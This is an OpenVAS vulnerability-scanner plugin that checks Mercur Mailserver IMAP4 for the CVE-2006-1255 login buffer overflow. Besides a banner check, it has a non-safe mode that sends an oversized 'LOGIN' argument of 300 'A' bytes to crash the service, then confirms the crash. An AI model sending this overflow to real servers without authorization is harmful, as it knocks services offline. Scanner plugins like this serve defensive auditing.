# Script Written By Ferdy Riphagen 
# <f[dot]riphagen[at]nsec[dot]nl>
#
# Script distributed under the GNU GPLv2 License.
#
# Original advisory :
# http://archives.neohapsis.com/archives/fulldisclosure/2006-02/1837.html
#

desc = "
Synopsis :

The Mercur IMAP4 Service is running on the remote host.

Description :

A version of Mercur Mailserver or Messaging Server is installed
on the remote host. It is a complete messaging solution including
common functions like 'smtp/pop3/imap4-server'.

The Mercur IMAP4 Service is vulnerable to buffer overflows
by sending a special crafted 'login' command. 
An attacker can use this to crash the service, possible
execute arbitrary code and gain some access privileges on the system. 

See also :

http://secunia.com/advisories/19267/
http://www.securityfocus.com/bid/17138

Solution :

Filter access to the IMAP4 Service, so that it can be used
by trusted sources only. 

Risk factor :

High / CVSS Base Score : 8 
(AV:R/AC:L/Au:NR/C:P/A:C/I:P/B:A)";
script_description(desc);

if (description) {
 script_id(200050);
 script_version("$Revision: 1.1 $");
 script_tag(name:"cvss_base", value:"8.0");
 script_tag(name:"risk_factor", value:"High");
 
 script_bugtraq_id(17138);
 script_cve_id("CVE-2006-1255");
 script_xref(name:"OSVDB", value:"23950");

 name = "Mercur Mailserver/Messaging version <= 5.0 IMAP Overflow Vulnerability";
 script_name(name);
 summary = "Checks for buffer overflows in Mercur Mailserver/Messaging IMAP Services";
 script_summary(summary);

 script_category(ACT_MIXED_ATTACK);
 script_family("Gain a shell remotely");
 script_copyright("This script is Copyright (C) 2006 Ferdy Riphagen");

 script_dependencies("find_service.nes");
 script_exclude_keys("imap/false_imap", "imap/overflow");
 script_require_ports("Services/imap", 143);
 exit(0);
}

include("imap_func.inc");
include("global_settings.inc");

port = get_kb_item("Services/imap");
if (!port) port = 143;
if (!get_port_state(port) ||
     get_kb_item("imap/false_imap") || 
     get_kb_item("imap/overflow")) exit(0);

if (safe_checks()) {
 soc = open_sock_tcp(port);
 if (!soc) exit(0);

 banner = get_imap_banner(port:port);
 if (banner) debug_print("The remote IMAP4 banner is : ", banner, "\r\n");
 if (egrep(pattern:".*MERCUR.*IMAP4.Server.*(v(4\.03|5\.00))", string:banner)) {
 
  report = string(desc, "\n\n",
	"Note :\n\n",
	"*** OpenVAS did only check for this vulnerability,\n",
	"*** by using the banner of the remote IMAP4 service.\n",
 	"*** This might be a false positive.\n\n"); 
  
  security_hole(port:port, data:report);
 }
 if (soc) close(soc);
 exit(0);
}

else {
 soc = open_sock_tcp(port);
 if (!soc) exit(0);

 banner = get_imap_banner(port:port);
 if (banner) debug_print("The remote IMAP4 banner is: ", banner, "\r\n");

 if (egrep(pattern:"OK.*MERCUR IMAP4.Server", string:banner)) {
  exp = string("a0 LOGIN ", crap(data:raw_string(0x41), length:300), "\r\n");
  send(socket:soc, data:exp);

  recv = recv(socket:soc, length:1024);
  if (recv != NULL) debug_print(level: 2, "Response: ", recv, "\r\n");
  close(soc);

  soc = open_sock_tcp(port);
  if (soc) {
   send(socket:soc, data:string("a1 CAPABILITY \r\n"));
   recv2 = recv(socket:soc, length:1024);
   if (recv2 != NULL) debug_print(level: 2, "Response2: ", recv2, "\r\n");
  }
  if (!soc || (!strlen(recv2))) { 
   
   report = string(desc, "\n\n",
	"Note :\n\n",
	"*** It was possible to crash the MERCUR IMAP4 Service.\n",
	"*** At this time the remote service does not accepting any new requests.\n",
	"*** You should check its state, and possble start it manually again.\n\n"); 
   
   security_hole(port:port, data:report);
  }
 }
 if (soc) close(soc);
 exit(0);
}
